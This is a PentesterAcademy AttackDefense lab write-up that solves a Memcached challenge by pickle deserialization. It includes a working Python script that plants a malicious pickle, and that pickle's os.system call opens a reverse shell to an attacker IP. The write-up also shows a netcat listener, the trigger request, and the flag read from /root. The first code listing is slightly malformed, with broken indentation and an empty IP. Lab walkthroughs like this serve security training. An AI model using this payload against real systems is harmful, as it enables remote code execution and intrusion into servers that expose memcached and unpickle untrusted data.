
ATTACK
DEFENSE
by PentesterAcademy

Name	Serialization Based Attack Using Cache
URL	https://www.attackdefense.com/challengedetails?cid=946
Type	Infrastructure Attacks: Memcached

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

It is mentioned in the challenge description that the web application deployed on the target machine interacts with the Memcached server and the web application stores data in serialized form using the pickle library.

Objective: Retrieve the flag from the target machine.

Solution:

Step 1: Finding the IP address of target machine.

Command: ifconfig

```
root@attackdefense:~# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.1.1.7  netmask 255.255.255.0  broadcast 10.1.1.255
        ether 02:42:0a:01:01:07  txqueuelen 0  (Ethernet)
        RX packets 104  bytes 9104 (8.8 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 97  bytes 328027 (320.3 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

eth1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.62.190.2  netmask 255.255.255.0  broadcast 192.62.190.255
        ether 02:42:c0:3e:be:02  txqueuelen 0  (Ethernet)
        RX packets 16  bytes 1312 (1.2 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 18  bytes 1557 (1.5 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 18  bytes 1557 (1.5 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

root@attackdefense:~#
```

The target machine is at IP 192.62.190.3

Step 2: Perform nmap scan to identify running services and open ports on the target machine.

Command: nmap -sS -p- 192.62.190.3

```
root@attackdefense:~# nmap -sS -p- 192.62.190.3
Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-26 10:18 UTC
Nmap scan report for wazqoxkauvaijndq9zrsk9d4b.temp-network_a-62-190 (192.62.190.3)
Host is up (0.000020s latency).
Not shown: 65533 closed ports
PORT      STATE SERVICE
80/tcp    open  http
11211/tcp open  memcache
MAC Address: 02:42:C0:3E:BE:03 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 2.22 seconds
root@attackdefense:~#
```

Step 3: Interact with the web application.

Command: curl 192.62.190.3

```
root@attackdefense:~# curl 192.62.190.3


Accessing Memcached Made Simpler!!

Method    Endpoint    Parameter        Description
-------------------------------------------------------------

 GET      /list                      List all memcached keys
 GET      /get          key        Retrive data stored in key
 GET      /set        key,value      Store key value pair
-------------------------------------------------------------

root@attackdefense:~#
```

The web application can be used to retrieve, store and list key value pairs stored on the memcached server.

Retrieve all key value pairs stored on the memcached server through the web application.

Command: curl 192.62.190.3/list

```
root@attackdefense:~# curl 192.62.190.3/list
No key value pairs found!!
root@attackdefense:~#
```

Store a key value pair:

Command: curl "192.62.190.3/set?key=name&value=john"

```
root@attackdefense:~# curl "192.62.190.3/set?key=name&value=john"
Key Value pair stored sucessfully
root@attackdefense:~#
```

Retrieve all key value pairs:

Command: curl 192.62.190.3/list

```
root@attackdefense:~# curl "192.62.190.3/list"
name
root@attackdefense:~#
```

Retrieve the value for key “name”

Command: curl "192.62.190.3/get?key=name"

```
root@attackdefense:~# curl "192.62.190.3/get?key=name"
Key: name
Value: john
root@attackdefense:~#
```

Step 4: Interact with memcached server directly and store a key value pair. Retrieve the stored key value pair through the web application.

Commands:
telnet 192.62.190.3 11211
set message 0 3600 5
hello

```
root@attackdefense:~# telnet 192.62.190.3 11211
Trying 192.62.190.3...
Connected to 192.62.190.3.
Escape character is '^]'.
set message 0 3600 5
hello
STORED
quit
Connection closed by foreign host.
root@attackdefense:~#
root@attackdefense:~# curl "192.62.190.3/get?key=hello"
Unable to unpickle stored data
root@attackdefense:~#
```

Data stored by directly interacting with memcached server cannot be retrieved through the web application since the web application serialize/deserializes to retrieve/store the data on memcached server.

Step 5: Store malicious pickled data on the memcached server to perform pickle deserialization RCE

Python code:

```
import pickle
import subprocess
import os
from pymemcache.client.base import Client
class Shell(object):
        def __reduce__(self):

        return (os.system,("python -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"\"
,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'&",))

client = Client(('192.208.107.3', 11211))
client.set("pickled",pickle.dumps(Shell()))
```

```
root@attackdefense:~# cat storePickled.py
import pickle
import subprocess
import os
from pymemcache.client.base import Client
class Shell(object):
    def __reduce__(self):

        return (os.system,("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.62.190.2\",1234));os.
dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'&",))

client = Client(('192.62.190.3', 11211))
client.set("pickled",pickle.dumps(Shell()))


root@attackdefense:~#
```

Run the script to store the pickled data on memcached server:

Command: python storePickled.py

```
root@attackdefense:~# python storePickled.py
root@attackdefense:~#
```

Step 6: Start a netcat listener to receive a connection.

Command: nc -vnlp 1234

```
root@attackdefense:~# nc -vnlp 1234
listening on [any] 1234 ...
```

Step 7: Trigger the pickle deserialization by accessing the stored key through the web application.

Command: curl "192.62.190.3/get?key=name"

```
root@attackdefense:~# curl "192.62.190.3/get?key=pickled"
Key: pickled
Value: 0
root@attackdefense:~#
```

Connection was received on the netcat listener.

```
root@attackdefense:~# nc -vnlp 1234
listening on [any] 1234 ...
connect to [192.62.190.2] from (UNKNOWN) [192.62.190.3] 47300
#
```

Step 8: Retrieve the flag

Command: cat /root/flag

```
root@attackdefense:~# nc -vnlp 1234
listening on [any] 1234 ...
connect to [192.62.190.2] from (UNKNOWN) [192.62.190.3] 47300
# ls
# pwd
/home/student
# ls -l /root
total 4
-rw-r--r-- 1 root root 33 Apr 25 13:03 flag
# cat /root/flag
4870fd644137e40694d76d8220bb184b
#
```

Flag: 4870fd644137e40694d76d8220bb184b

References:

1. Memcached (https://memcached.org/)
2. pymemcache (https://pypi.org/project/pymemcache/)
3. Rotten pickles: A quick introduction to offensive serialization techniques (https://medium.com/poka-techblog/rotten-pickles-a-quick-introduction-to-offensive-serialization-techniques-83fd4dd36edb)